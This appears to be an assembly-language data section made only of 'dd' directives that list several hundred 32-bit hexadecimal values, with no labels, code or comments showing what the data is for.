dd 105F7F01h, 278FA61Dh, 9E085868h, 5026FA34h, 745E6C05h
dd 2123D43Ah, 801E880Fh, 9829A8E5h, 7FB10014h, 5F942B5Eh
dd 0D60F4059h, 25178C7h, 0CBC6AFB3h, 0C4C9E058h, 0D2601DDFh
dd 0D1DCA9B5h, 0E51813h, 6833477Ah, 2EC8BFDh, 7D986912h
dd 0A9B6B830h, 0E2658032h, 6CCBF34Bh, 42C0C688h, 57C5C27h
dd 99A7ED55h, 5330017Eh, 3575AEh, 604FABB3h, 0B6DBE0C3h
dd 4B6E61Eh, 17905162h, 0E2802191h, 526CE384h, 12019091h
dd 6AE4A918h, 49FB80FAh, 0F6EADFh, 0DB99F079h, 0CEC88F8Dh
dd 6EB48B00h, 2432929Dh, 0F08A0069h, 0F5A6FAB9h, 0F8B4AE2Fh
dd 0E0EE0F0Fh, 3F5CA8E4h, 3481165Ah, 498860E2h, 7D4AB23Bh
dd 2B2E042Dh, 92E2364h, 0D41DF94Ah, 1833F91h, 0BCC03EAEh
dd 0D000EDD1h, 0FF539B77h, 0E4DE8241h, 0B32904E3h, 0A904C383h
dd 2567E88Ch, 2CC88FD5h, 0D6601023h, 0CD0E321h, 0B1FE1Ch
dd 16F61CFh, 0FDFEAC15h, 590F1D12h, 83A2D8B3h, 0B893630h
dd 92B46BC8h, 97000464h, 4DDF2CFEh, 0A575AAh, 18DC42C9h
dd 0D14C8155h, 440795Eh, 47E3D43Ch, 0AB30008Ah, 52D7B72Ch
dd 3300469Ah, 1E7EE5D8h, 1B9DC65h, 1195680Bh, 39BEB5A9h
dd 55B8CCh, 76230A3Ch, 0B6F012D9h, 5BAA5209h, 5BD0F83Ah
dd 0A66C95E7h, 726DB08Ch, 88F90FB1h, 10E453BCh, 4DF440C8h
dd 0CA6B3h, 438FE20Fh, 77609947h, 10D8C254h, 4F0C970h
dd 4373B1C0h, 51E385Ah, 0BC541702h, 9E1BC149h, 5E046C77h
dd 0A023142Fh, 8C630500h, 5B998AE2h, 0DAD4D083h, 0EF162B9Eh
dd 6CF3CBB4h, 5D850401h, 3FFF056Fh, 724D401h, 5C64BE16h
dd 82AE162Ah, 0F060E6D2h, 13EFB99Ch, 747D124h, 0F45519F4h
dd 0BCE4EC33h, 0B0268CADh, 90FA869h, 49712FCDh, 2D9C5032h
dd 542A0415h, 36EF00DFh, 0C3E8531h, 542FB0Fh, 0C01E83A7h
dd 1BA10084h, 8C18D888h, 772D5BC5h, 94440Ch, 0FF7B1A73h
dd 344B8D9Ch, 0C16CC502h, 0C0FA4E29h, 9F76A387h, 6EBACC20h
dd 0E500E888h, 0FF099A9Eh, 1D986BC3h, 22C1810h, 0DFAE086Dh
dd 5012454h, 11460785h, 77C40E6Ah, 825649B8h, 0F2B039h
dd 0D9FF1FEDh, 74BA73h, 36254C5Dh, 0DF5B1415h, 9216D0B3h
dd 338878CBh, 575E51C0h, 36FF2C8Eh, 38302710h, 6130E71Ch
dd 8D9460CAh, 0C63D12B8h, 15089076h, 5300340Ah, 27A6FD50h
dd 4B4DED0h, 0C4F5361Ch, 7D90A08Ch, 2FD22C01h, 0FE038E54h
dd 90733461h, 0D8EDF72Fh, 59536A62h, 88E52758h, 7B6183E4h
dd 3863205Ah, 3BB77105h, 0C8E46552h, 0B09550B6h, 3BAD4BE3h
dd 262348h, 0B465D2Bh, 1F053814h, 3B2A5A86h, 0B58834E8h
dd 0FEA609C0h, 0C8B37Ah, 1454E85Ah, 0B66857AAh, 0AB0BD4ECh
dd 0FE4C7A12h, 9FBA000Eh, 68D8D1EEh, 9900FEE2h, 0C7C3904Fh
dd 15D9B838h, 0A45960E0h, 1D2B8E05h, 140801F9h, 7D54FBD2h
dd 746B967Ch, 0FAF15D01h, 790A4EB3h, 0FBCB0160h, 42A30EC8h
dd 4A9E6130h, 5BB4B339h, 0EE220C8h, 270D033Ch, 42447F20h
dd 1F01697Ah, 43C584DFh, 99C183C1h, 0D82A96D1h, 6B0990ACh
dd 17F3E908h, 80C89124h, 49ECE3CDh, 9D837D4Ah, 579E0801h
dd 0EC886C1Eh, 0E20B8C84h, 0E06AD3B3h, 11054Ch, 703EFBC9h
dd 0E76E6042h, 0B0A3AB4Ah, 3553CC0Ah, 0F0208384h, 8EC017A1h
dd 0A91E856Fh, 468B8405h, 28B0845Bh, 17F9F240h, 400C4FDh
dd 34B96E0Ah, 4749ADh, 0DD08B7CDh, 4294373Eh, 0BD7FDB0Ah
dd 81007C12h, 0F65C85DCh, 7CB07E44h, 59692587h, 0A1598073h
dd 4225F419h, 0F4B15A09h, 269C5BB5h, 0A465C18h, 998BAC02h
dd 9070D1B9h, 0B2155905h, 34B84783h, 4E5422Eh, 0D8315AABh
dd 0B7B5F85Ch, 66770040h, 0B8D55056h, 3F91601Fh, 0FA499240h
dd 385F6746h, 5184FB3Eh, 0ACAA5D59h, 75F90464h, 149B17DBh
dd 0C197B2C1h, 0D2EC3DD7h, 2723E42Eh, 326CE500h, 4CE29733h
dd 8BC08C52h, 3C10A9D8h, 0C477932Eh, 0EB6F2B43h, 0CC728873h
dd 8FD600F8h, 65E1AC0Fh, 3DE6B8FDh, 0BC9EB128h, 416D10A1h
dd 73C7F3BCh, 31C8E298h, 25CC608Ch, 0C94AC403h, 97EFA6E7h
dd 25F9B946h, 0E0468862h, 8253B516h, 0BCF2ECC5h, 2E8A7005h
dd 77FB095Fh, 0C10010D2h, 6FC367DBh, 3F13C6CDh, 0DF80E688h
dd 0ADC0D6FBh, 5F5BAA63h, 35272C90h, 12291E4Fh, 0FE0830CCh
dd 0FC4C81CEh, 0A610994h, 625C5485h, 7C441B58h, 96B1E014h
dd 0CCBA4D8h, 0B2C33388h, 678288D6h, 243A1357h, 30842753h
dd 7B745515h, 20F68F00h, 3A435E2Bh, 0CE7E0960h, 0AC35B427h
dd 1D813F91h, 0DC5F042Ch, 24166956h, 78021C4Eh, 0F2872E2Bh
dd 0C03134Ch, 0E30B044h, 0BC206741h, 3B294B45h, 12B23ACh
dd 0B1B2C057h, 776DF412h, 0F1CC3B04h, 5CED8B10h, 0C7BA0F7Eh
dd 134BAE09h, 0B0469490h, 108A5300h, 1DFEBCD4h, 879700E1h
dd 54B57E1Fh, 97B733FCh, 81B09164h, 5E9031F0h, 68658C7Ch
dd 2FC032Eh, 0A389813Fh, 9305DC8Ah, 0D1DC2805h, 0DC82F268h
dd 0AE142320h, 2E825100h, 0F26BCE8Dh, 0C4550078h, 4B83483Eh
dd 0DFB83721h, 253AF671h, 97051403h, 8C20BCA0h, 0D4973700h
dd 0C9EA9687h, 0D98B04FDh, 0A20995C4h, 0A284432Ch, 6DE630C6h
dd 0D6641D03h, 0E6531049h, 0F05B3B99h, 59FD5A01h, 601CDB9Eh
dd 7D27D110h, 2F14EB03h, 1817F649h, 409CB711h, 0FAE05CCFh
dd 8BB5D22Ah, 584470ECh, 4D24C457h, 0B1990990h, 2D3568E6h
dd 880195Bh, 4A77B784h, 4318F00Fh, 0D6590812h, 0FF756400h
dd 60EA5655h, 0CE1FB82Fh, 0FB084522h, 382A33h, 18176C64h
dd 0A09DB411h, 4DBA9D90h, 0C0CA5028h, 16A49084h, 0F430CCD9h
dd 3F2567ECh, 0C1B8AB68h
dd 0D20B04h, 0E9C2AD17h, 2809CC7Eh, 5C1C7BD0h, 0D90905A8h
dd 23D02FF3h, 0C9E400C5h, 9ACD0706h, 2777F01h, 3BB7C6F8h
dd 15E4434h, 5F853990h, 747A5657h, 124FA860h, 0EC720C40h
dd 0AA9F74h, 5D980AF1h, 76E847F8h, 1840554h, 93D06D1Ch
dd 0B81CEEC0h, 78B290h, 6281EDE0h, 4BCF82DFh, 0D090009Ah
dd 0B3B48A54h, 0A7D5650Eh, 5B838593h, 7B474F0h, 0BC11CA50h
dd 99EC302Eh, 0FC0FD19Ch, 0E426EB19h, 3CE8D38Bh, 0B31F8200h
dd 570FA495h, 40909CE8h, 1B47CB16h, 0B788888Eh, 9B6D60CFh
dd 0C0DA128Ah, 8EC07F19h, 0F3024595h, 86595263h, 11A85023h
dd 139F10C3h, 0B88BFE68h, 22C084C8h, 0F666BE23h, 0D51122C8h
dd 5BD29C00h, 21C3EA99h, 267E079h, 5DFB8F12h, 687E7DDAh
dd 59321DEh, 0D4C91C08h, 7B232084h, 95230BDBh, 22916C17h
dd 0E2C17080h, 5A00B88Bh, 622560D5h, 0B4ABD667h, 6ECB4318h
dd 0C4106C00h, 0E53087E0h, 0AD01024Ah, 590411A3h, 0BF521CF8h
dd 1DDB05C8h, 50FDF3BAh, 0D6023BACh, 77BB91B8h, 277401C9h
dd 5CCF2A08h, 6C0A188h, 95DF68Ch, 0D959CFA6h, 3E252C7Ah
dd 64C8E734h, 6958600Ah, 90C8EA8Ah, 0EE7C2E5Bh, 0C75A1258h
dd 0F86989E8h, 0F4822BE1h, 588420D4h, 3807487Ah, 8D595C71h
dd 0F462AD22h, 90290098h, 0F6FABD6Ch, 0B079A491h, 0C498A818h
dd 94381F24h, 0CC7FD600h, 0B904FC4h, 99E784BEh, 6C7C1042h
dd 0B29C7640h, 0D88E0044h, 0B9E8DCD1h, 0D53F351Ch, 2ACD0037h
dd 7A7E1E1Fh, 9BFC5F51h, 847DC37Ch, 70CC9C80h, 0B9FA00BAh
dd 0CFF18F5Eh, 9500690Dh, 9CF04D85h, 91F6FDC8h, 18B77920h
dd 38E16E6h, 3DD8F2A7h, 0A83787B9h, 14E0DEE3h, 5434BEh
dd 62930A6Ah, 0D68BEE21h, 3778C414h, 7D922B8h, 7A15DF34h
dd 0F972E0BBh, 0B228E5F3h, 0A8001017h, 0A77D7746h, 5D190Eh
dd 5948E86Fh, 85CF9032h, 6CB7D64Bh, 0CC302BE0h, 0CB29DB01h
dd 0E3069C1Dh, 97F68020h, 8780C035h, 5528753Bh, 1C54046Dh
dd 1D3D5ECEh, 4D10D0ECh, 0A7104C58h, 0C8230034h, 82F2F9BEh
dd 44472CEFh, 261F0424h, 203CA0F6h, 40BE95F4h, 72E465Ch
dd 785992E9h, 695B7E82h, 2E2BF76Ch, 0AC232Ch, 73559749h
dd 0B8287766h, 35EA010h, 7FAFB447h, 0C04445E2h, 3C7607Ch
dd 8B0E3B85h, 792D02CBh, 0BF088195h, 1874749Dh, 0B1296053h
dd 7B629AD3h, 0D54CA501h, 0B7220E90h, 90334FCh, 0B549EF85h
dd 216404C7h, 9FDA0067h, 0B617E1E0h, 0A840EA23h, 0C1DD8BF5h
dd 0D398C01Eh, 45839874h, 808FF9CFh, 0A7EA3C21h, 71CE2CCFh
dd 82C037C4h, 0F0F6FA80h, 1D6C4676h, 7F454FCBh, 7C079B4h
dd 27D335C7h, 0E0003096h, 40E08E6Dh, 0BB533D13h, 902B7040h
dd 0E87DD014h, 4A10984Bh, 23303EC2h, 4F8300C3h, 68F349B9h
dd 1110350Ah, 3CA428EDh, 9AA465Ch, 80FADACCh, 0D7177584h
dd 0B13A1EF1h, 5024655Ah, 0E078F664h, 9531B9BDh, 0ACC8F86Bh
dd 2300A76Fh, 0BB4FD649h, 96793243h, 20709D0h, 8C3CCCDCh
dd 480920A1h, 0A013B710h, 748A8BF9h, 0EE00552Ch, 0D616D4AEh
dd 1AA689B6h, 409CE61Fh, 416CB803h, 0CB10802Eh, 40A7C422h
dd 66632C44h, 0E7327187h, 254C2851h, 89EC11FBh, 0A86B6Bh
dd 0BD7A2F1Ch, 1A5CF978h, 602509ECh, 6C7E5058h, 0F6310E60h
dd 75DDC9Fh, 4588E83h, 0FA17A087h, 502540C2h, 0F080417Ch
dd 0C07C812Bh, 94416F8Fh, 225ACBB3h, 6B9A7A01h, 0B8587810h
dd 6A008C19h, 0CDA2B371h, 0B111CFC2h, 813C011Ch, 0D899B8B4h
dd 1F008304h, 3970184Dh, 129C4B86h, 880AAB87h, 8800D21Ch
dd 57728190h, 8A044Bh, 24F74AAAh, 52114460h, 4128CFF0h
dd 0E009B49Bh, 68B30C4Eh, 7B3F0150h, 0A5991C5Dh, 89CCC122h
dd 6006C910h, 2F59FE8h, 8978F6E2h, 785981B7h, 0F181679h
dd 0CB125300h, 91DCEE7h, 3703047Fh, 0FA063BB7h, 41FD2400h
dd 308656DDh, 7D7833D7h, 9B4AD4E2h, 0B40260C9h, 4AEA2029h
dd 3E079D96h, 0B638525Dh, 0CBEC6A11h, 4A73D83Ch, 0DB4B0E0h
dd 0F60A6702h, 0FCA126B3h, 0A465E98h, 0B100283Ch, 0C92448B9h
dd 752E4D34h, 14049C86h, 0ECD4CE08h, 49F030E6h, 59029EE8h
dd 0B7C6A7C7h, 8850D4AFh, 1FBE422Ah, 24E079E7h, 743CC1CCh
dd 0AF001346h, 392D9BCAh, 6C929A03h, 0A6FF8800h, 0A51A429Ch
dd 2295028Ch, 7F2A4EEBh, 5BD0D340h, 46976879h, 56591624h
dd 0A8E04F6Ah, 4AC65C80h, 2F0C02EAh, 0A8C2A21Fh, 0EE5E1359h
dd 2C582053h, 9E00AC4Eh, 0FA66A8B1h, 2610DF44h, 0A728D9B5h
dd 33E484E5h, 0D567C060h, 0C42AD2Eh, 274674h, 5F07A1C0h
dd 1FDC9B1Ch, 702A2584h, 10B964E9h, 60DE2AE9h, 0A31C3580h
dd 7B7E21Ah, 0B577AE23h, 11CEFDC0h, 53621644h, 0E054E603h
dd 2EB9AD8h, 9034D752h, 5E202DE7h, 1B181CDh, 1C7F01C4h
dd 0D153B907h, 7FC9F5C6h, 6B415040h, 9576E738h, 4B005CE4h
dd 7E37B8D9h, 6C83F2h, 55A91F9Eh, 3590108Ah, 0C148B4B2h
dd 0F1BF8B04h, 0D4F8252Ch, 0F809CBF0h, 0F4A38659h, 0E74D000Ch
dd 0FF3C9DD4h, 4676A896h, 50A10286h, 669AD5AAh, 0BAB10C8h
dd 0B65A0905h, 0E460D0A9h, 8FE70BFBh, 94CD9543h, 46803B67h
dd 0D76677Dh, 491DB657h, 1A4C60C8h, 0C03E4041h, 0F44129ADh
dd 0CF8480A8h, 68BAD12Ch, 0E9E7E053h, 0E022B5BFh, 0F400925Ah
dd 87C4D6h, 0E7BD7DFEh, 0CB993E9Eh, 0B89A64FCh, 61BF7CEEh
dd 4C2CFCE2h, 8CC5BCh, 0B09FB474h, 9D27EFBCh, 518C3827h
dd 156F0080h, 0CF749CD6h, 0BA6B5Ch, 1E572D76h, 1658593Dh
dd 0E2EF08A7h, 0BBB30424h, 5AAA420Bh, 90029A3Ch, 0BCA0362Dh
dd 0B25358C0h, 804FB32Fh, 379A8804h, 0A3A0A055h, 17902741h
dd 82919C97h, 59D5DE80h, 163A2819h, 595BA753h, 188279ECh
dd 910607E3h, 4973F4EEh, 65CF3902h, 0EC49D070h, 3E2B0A6Ch
dd 0CDA5ECE8h, 0F5B9C064h, 7A05F026h, 37E0932h, 29C109Fh
dd 35ADAA65h, 46763856h, 80013A83h, 0CBBA3F5h, 25E957Ah
dd 20C2BCACh, 1C701A06h, 30649Fh, 0E1CC52B4h, 9BF59D44h
dd 3AF7E5Ch, 289EBA86h, 9671CFDEh, 637031DCh, 120A2D6Ch
dd 6DE44445h, 36D07063h, 0CB177146h, 0C0005EBAh, 75B65304h
dd 24383BE7h, 20676900h, 743F9308h, 0E405448h, 0E17FB162h
dd 0BE15D20Fh, 9E64B980h, 4AC424F6h, 3F5C7001h, 56328545h
dd 152F97F1h, 97BC402Ch, 2F520300h, 0CACC9FEAh, 6DA8008Bh
dd 14B055DCh, 7B0054F0h, 0AB27C7AAh, 0C0A9D56Ah, 6F181B91h
dd 0B24A5657h, 9EAE78F0h, 0D2F940CCh, 0F61DDC70h, 0BA4F5623h
dd 12FA2F9Fh, 0E0ACFCEDh, 10D93Eh, 12BC6B87h, 991D3C2Ch
dd 0BDFD8850h, 79982B04h, 6B7AF8F1h, 48DE03C4h, 169CAE13h
dd 0B4304AD8h, 8025505Ch, 0E7006DFCh, 0ED96805Fh, 937C7991h
dd 78CD24Ch, 0A8546059h, 0CC14FDE0h, 7A682FD8h, 11724820h
dd 0DD7279DFh, 0B3EA1C00h, 0A5D5717h, 0D55A1761h, 1D8F32Eh
dd 0B7A9D404h, 0DB3BC7BAh, 92E18FC0h, 0E0008D13h, 1FAA4C8Dh
dd 970B496h, 0BCD6F459h, 7F874674h, 9D904E27h, 801311DCh
dd 4AB0ED52h, 12E89096h, 0E943C942h, 0B0C4BD84h, 0E10E4B2Bh
dd 0D3C43840h, 35FA6004h, 2B5FC4F3h, 1C332350h, 9A057C07h
dd 0F61D2957h, 565906DCh, 10181A02h, 27D3A653h, 5F02014h
dd 2F8B3F9Fh, 9C67A489h, 1E602544h, 290155A4h, 16A39AA5h
dd 0C02D8399h, 0B40F7917h
dd 9D7FF674h, 7A466300h, 0DDEBD8A4h, 0E118B18Eh, 0B323Bh
dd 5999E7A6h, 9C73F8C1h, 30F125B0h, 691819D1h, 60751101h
dd 10E6A3A2h, 0A900C422h, 568B5EC4h, 5800BEF1h, 7F964CF4h
dd 7CC64E0Dh, 0F86A5CA0h, 723AA610h, 0FF559E12h, 2BB1C841h
dd 98876EC2h, 0F062C9FDh, 3E2A2D04h, 0D8818F60h, 0B576CBB3h
dd 85030480h, 0AE6189E7h, 0AA237FD8h, 186878D6h, 0D90E7E99h
dd 0B12AB2C1h, 8125E024h, 0D95CF9BEh, 0E1E1821h, 0B3E75498h
dd 0C9377725h, 0CCAE228h, 0FF646C7Eh, 0C8548B56h, 0A7A0CEAAh
dd 545C9EBh, 5C117002h, 6B738E59h, 0FBB6916Ch, 0E228073Ah
dd 87B77268h, 81504043h, 51D23C00h, 911264E8h, 10BCE9B6h
dd 9E05972Ah, 87CFF995h, 0F8F39B64h, 4017C58h, 0B6B17048h
dd 906EFA89h, 856AA300h, 1DF94224h, 820AC62Dh, 505CCBC8h
dd 0A610F568h, 0AEF2DEFh, 691B7303h, 292D2377h, 350F4D6h
dd 1E3D34CDh, 7DC4D8D0h, 92C91609h, 70B4D32Eh, 0E902B82Bh
dd 986B5991h, 82205CB2h, 63521553h, 8E2B4920h, 2698C184h
dd 38C4661Fh, 8C0AFC90h, 94AF44Ch, 0DBEB6807h, 0D8F97170h
dd 1D09135Ah, 0EAC23DCFh, 0E0004DBCh, 76C52BE6h, 7D0FB5E2h
dd 74538B29h, 8C6FAC4Ch, 0DE33A40Fh, 0F780E08Ch, 1FDB6D7Ch
dd 89247D7Fh, 74C4F832h, 3F3B44A1h, 1F842490h, 0C459893Ah
dd 0B513B168h, 5C855E64h, 0E3AC00EDh, 2F47F5Ch, 5578E801h
dd 803CD617h, 9B57E9B9h, 0D1019EEEh, 946B4CF1h, 0CC3ED564h
dd 220CE0Ch, 53B42C18h, 0AB0F043Bh, 5D4B0A9h, 82181248h
dd 405F392Bh, 7882B5E6h, 3ADA1F35h, 0D8DD8043h, 1286CAB9h
dd 37318F2Dh, 88E900E4h, 0B1CAE09Bh, 5D7F4A00h, 0F4A98BFAh
dd 14E65820h, 0C8C4CE5Eh, 0C0FCC026h, 0F2000355h, 0C79CB9A3h
dd 9DA68DFEh, 0DC99B40Bh, 2DF4772Bh, 847C8A2Dh, 91789727h
dd 460D803Fh, 33E7A5Fh, 0C8A97199h, 0A1861F10h, 31A8019Fh
dd 0DA6BF88Fh, 0D5BDC0E8h, 0B07B61CAh, 22D620F8h, 0A404C4E8h
dd 0F88854E9h, 44892C9Bh, 90852D84h, 8F457414h, 0B75B4001h
dd 24BC130Fh, 0D039A040h, 0CA9101B9h, 0F78E5779h, 4ACC2848h
dd 5F4F8480h, 7B9C13D5h, 1084E9FFh, 0C02D2AA6h, 0C4D63409h
dd 0A89B3BD6h, 4A25F703h, 0B881A933h, 18BC23CDh, 9D313B53h
dd 43C700F5h, 0CB26404Dh, 0C2091F23h, 7181B6DCh, 1817791Ch
dd 0D85F4816h, 338E5A09h, 0D6021C78h, 0E7045C01h, 1EC4F035h
dd 0C848A57h, 6410D275h, 2D82BF3Ch, 0A3C89030h, 33F94017h
dd 786FAB2Dh, 242A346Ch, 88748E71h, 0D392C132h, 2D91C03Dh
dd 42AB6E0Bh, 178512Eh, 809A7DF9h, 98EAE8DEh, 299D52Dh
dd 7F9EBF34h, 0CAE21899h, 9856A400h, 8915617Ch, 50D5AE53h
dd 87B6D6F4h, 0DE76551Ch, 0B8269605h, 414A6CF0h, 27836C2h
dd 0F2D365F4h, 5C386813h, 0C3AB2EB2h, 37A68AACh, 0B691B9E0h
dd 2DF90B2Ah, 9FDC5022h, 0D6005444h, 771C747Fh, 25047EB5h
dd 0D40091CFh, 608481B7h, 0D82E954Ah, 0A6002523h, 2A15180Ch
dd 0C40E0035h, 60E85AA8h, 0E700F994h, 242C89Eh, 4EEC1DFFh
dd 1234F3DEh, 18A53AF3h, 59182FF8h, 0B1BCD84Bh, 0B94524Ch
dd 498DAE54h, 0DB2AB9C4h, 914B8710h, 1E09CE50h, 71D09EA2h
dd 0DC220DE3h, 973117E2h, 18231F0h, 0F978496Bh, 6F9DF63Ah
dd 36812CDEh, 0E6861CA0h, 0D32DFC65h, 6C9B50DCh, 72A471Ch
dd 4DCA197h, 19CF102Eh, 8BB10BBBh, 0EA48780Ah, 0CC17BF48h
dd 62802091h, 0C3194C1Eh, 1F77D502h, 0F4C7AD0Ah, 563C0594h
dd 0F4E102h, 0B0E41BCh, 58449384h, 0E712A6DBh, 24D0B279h
dd 84D235C2h, 78B65C74h, 1C94676h, 0A0E9D8ACh, 0B0789C21h
dd 494C82Ch, 0E3440AA2h, 3027A288h, 6D016907h, 58CD0CFEh
dd 0D26AAE56h, 1C02BAD8h, 0DBD205F9h, 375C87CCh, 0F161E471h
dd 74DCC8h, 3124912Bh, 0C653B5F5h, 0F3D3DE25h, 37E67810h
dd 3C88285Fh, 0FED0F6F0h, 0E36A15F5h, 5E0E84FDh, 0AD9F7259h
dd 0C5E490E5h, 9B9EE660h, 0B64A3C00h, 5FCEB1F9h, 0F48B00FDh
dd 0CBB3A4FBh, 0C8BD31F2h, 42A5B444h, 0E0B64ABBh, 35C5ADA0h
dd 22A33209h, 20688889h, 77C7BB01h, 5C20299Bh, 1CFD21EAh
dd 0FA370205h, 23B83AABh, 90520132h, 0EC63B362h, 7E274E09h
dd 20F122h, 6D9427A6h, 0F7009D77h, 0A1EC6766h, 16030C2h
dd 52E769C6h, 721DBB86h, 804E3D74h, 9F40F9D0h, 4ED53CFAh
dd 2768409Eh, 5844BF78h, 0C6AAA017h, 0F38780ACh, 9564F0FEh
dd 314F454Eh, 931DDC40h, 710C4ADh, 84CF5940h, 8B06A1ACh
dd 0C76960E4h, 80E6DE3Bh, 610BBE3Fh, 0FEFE0EE1h, 0B61216E9h
dd 8804CEBCh, 0BDE8C0C8h, 0A71CB18Ah, 9F4272D8h, 0D42652D9h
dd 7E1F02BCh, 9D5FC84Fh, 80C691F8h, 435517C2h, 71E603F7h
dd 0D0783B2h, 0D808507Bh, 80C07899h, 6AA9FF04h, 14C0C32h
dd 0BF8A168Ah, 58ECF813h, 768C84E8h, 0AD32F4Eh, 30567885h
dd 0D1C199E0h, 4D0685Ah, 4F434908h, 0F130F15Eh, 5F48224Ah
dd 0E9D1A480h, 0C8042476h, 41F21244h, 0B61E6A2Ch, 0C0587413h
dd 0C723600Dh, 6D39BAh, 35F03FB8h, 90D06200h, 67B62B36h
dd 9DEC9276h, 56A4E035h, 0F21A902h, 0D782427Ch, 6DA41820h
dd 630E0296h, 2ECFF361h, 0F6BD0023h, 4F4D68Fh, 1FF5FB30h
dd 0F80095B6h, 8CAAE8E0h, 75202300h, 40BE18Ah, 88320E95h
dd 386B8C1Eh, 27FF0C40h, 224280h, 1746EA5Dh, 137AC61Dh
dd 36C019DEh, 0D1371BE0h, 0DFBE0039h, 0C69482A7h, 0AB4E6FB7h
dd 489086h, 2E77E198h, 3D4AD3B3h, 0DCC05CA2h, 0DD051CCDh
dd 95F23BB4h, 34B2E8A3h, 0CF158033h, 0A39D012Bh, 82DA339Eh
dd 0C0C03BB7h, 0B0F0AF23h, 8198B4E0h, 3F21935Fh, 75D8DB62h
dd 4B00E076h, 0F7A75677h, 0FA7A81D8h, 0F0593828h, 75C7578h
dd 3F931B79h, 8A02A45Dh, 9CA65F84h, 136AB2A0h, 0BE00C27Eh
dd 0EF6D3FA1h, 0A526ACBDh, 28CD2DF0h, 15EDAD40h, 7D740096h
dd 0FB21C8BAh, 0F15FD7E8h, 0D01FE821h, 9CE8DC44h, 8C13FCh
dd 25CEAF07h, 1CFAA32h, 37FCC350h, 0B4160CF2h, 38BDC252h
dd 5359E10h, 14761F82h, 255E1CC0h, 0C10D24C0h, 831141D0h
dd 70072E97h, 0CE30DA09h, 0A0ADEEA5h, 0D3C0128Ch, 18E01460h
dd 4EE82C5Dh, 953C0673h, 9D0A814Fh, 91C7692Bh, 25F29C62h
dd 14FD30h, 0D738D247h, 0FF8B0F6Ah, 2509300h, 1F60EC2Dh
dd 0DCD0B43h, 3400F1AEh, 460567D3h, 0BC6CBC5Ch, 0CA0A8C84h
dd 98C78399h, 0D9025C8Ch, 0CF9E0B0Fh, 5A0094CDh, 35A546E8h
dd 325FE602h, 0F23782CBh, 0FE4B0058h, 486158D4h, 9CB6B8D5h
dd 8F4A9828h, 2CDB8C16h, 0BB97BE80h, 7F04B0BCh, 6A96057Ch
dd 2EE820ABh, 5400E79Dh, 7B4217BFh, 0A4A202h, 764C9055h
dd 0FA14CD1Bh, 90A0595Ah, 3D1A3928h, 41117A98h, 6F01F519h
dd 32988B45h, 0E8CCEF58h, 72440080h, 0FE887E01h, 0E65F2AFBh
dd 0A47600F1h, 3404EAE5h, 348AB309h, 0BEC9FD05h, 3C509973h
dd 8C2CBC40h, 8C46A92Eh, 0B5DA1F05h, 346B40CDh, 0A8F8A98Ch
dd 207D002Bh, 93B7DBA2h, 0CF18A6C0h, 0FF60A0A9h, 0D3D4B88Dh
dd 9E9823C8h, 3CDB714Eh, 0B6669780h, 0FF059B4Eh, 190B83B3h
dd 12DFE888h, 9B243675h, 0A7780DCh, 2DBB41Eh, 79D7D9F9h
dd 1064C283h, 2584DA0Eh, 0AF264191h, 6E7E5EF9h, 58E00C4h
dd 0CD7568CCh, 971C077Eh, 33F03476h, 900B3AF1h, 0D855CF84h
dd 2561906Ch, 0AC43478Ah
dd 0FCC7BA92h, 4660AC44h, 5475F37Eh, 4BF87857h, 0A0C83C8Ah
dd 559034C0h, 0B179016Ch, 5B70947Fh, 0A954606Eh, 0E42865BDh
dd 1F3F6021h, 0B04609F7h, 882D0B5h, 1105C123h, 7B0020E9h
dd 0E4FF7641h, 0E901588Eh, 10841668h, 0EAFCA1DEh, 0AED20531h
dd 0E49BD56Ah, 1378C6E0h, 0E4A541C0h, 0CD5C2Eh, 0FFA3330Bh
dd 2D931C05h, 6449D504h, 2CA28BF0h, 0C93086F2h, 6F57DA4h
dd 0D500665h, 37B54829h, 40950E34h, 0CFAD0B21h, 6FC4652Eh
dd 7FC0FCDBh, 0AB10BE3Ah, 0E094A94Ah, 0CF00FCF9h, 66E8C09Eh
dd 7117B4A3h, 0B04FC3BBh, 158CA256h, 74AC5E39h, 67006C46h
dd 0EFB6521Dh, 0F00E3CD3h, 32BAB5A7h, 0DA3D6C04h, 710258BDh
dd 0C4905CDBh, 55002955h, 0EA00C037h, 7D3F92F4h, 0F4B0358h
dd 1CFDE5ABh, 41BFC12Ch, 0FC81C135h, 0C03A957Dh, 0BCC975BCh
dd 0E4E6F35Ah, 6B90E2F0h, 0A24CD000h, 9256B060h, 2B620D3h
dd 32529C05h, 88BD1CFCh, 68DBF78Bh, 4A99BD58h, 0D9D8207Fh
dd 8B0158A6h, 0E2838E78h, 10D8907Eh, 0B6530A49h, 2DE0A04Bh
dd 0D50014D1h, 365AA143h, 507AA5h, 252D4FEEh, 714CA35Dh
dd 609DC302h, 0D170F97Fh, 183279C0h, 0FF6900D9h, 0A46CC362h
dd 6E091845h, 2482C61Ch, 10BCD02Ch, 26BBB387h, 7A16182Fh
dd 0B8F2118Ch, 413D9DC4h, 9FAB9B2Fh, 7A6F221Ah, 0D8CF8830h
dd 2D183C00h, 840CB06Ch, 70200F4h, 1F23B803h, 0AE1A56C9h
dd 43902A6Dh, 0D746DA50h, 0EF84A881h, 79487459h, 0B1B6117h
dd 0A58050A9h, 2348BC4h, 0CE7D1900h, 0D9486DFBh, 4A354CBBh
dd 0C266B709h, 0B415C4E8h, 717CB09h, 0DE98EAFCh, 8B4F840Ch
dd 18DCB876h, 0D6618C06h, 193E7CB9h, 390C7DD0h, 0F8A468C2h
dd 80098CB0h, 60A65659h, 9471531Ch, 7C7900C0h, 0DE3903FFh
dd 0D920D090h, 3AF30BD6h, 707B532Dh, 465C6CACh, 2FA01F32h
dd 0CDDAF4C0h, 0F07E54D4h, 78E00ACEh, 8BC3386h, 8210954Ah
dd 0BC34ACD2h, 24008C27h, 9FBF06C2h, 0BE9ED578h, 0B6C681C4h
dd 0B89B468Bh, 1D187668h, 0E7A815D0h, 91220584h, 0FABD8052h
dd 7038046Bh, 0C6F14E01h, 0E50C0AADh, 27068269h, 5CF77E99h
dd 97A9D74h, 44C0EFAEh, 0FF4F82BAh, 2C184004h, 101488AEh
dd 0E8401F5Eh, 99D1F26Ch, 49AB69B2h, 0C140DCF6h, 0DA023Dh
dd 0CE72AAD7h, 682369B6h, 7DA6CD00h, 6D7B108Ch, 8F6000DCh
dd 0E0DA0498h, 35BFF8ABh, 0C0999E88h, 43B1CAC2h, 589233BEh
dd 20C0014Ah, 0BAEBBB93h, 0B33578C4h, 6F2F79A4h, 0CDEB9682h
dd 221FE078h, 71045989h, 1A778857h, 16797CBDh, 0F0F9C54Eh
dd 0CF25C688h, 0C2E8E165h, 0DA1C682Dh, 590CC555h, 0BC44A868h
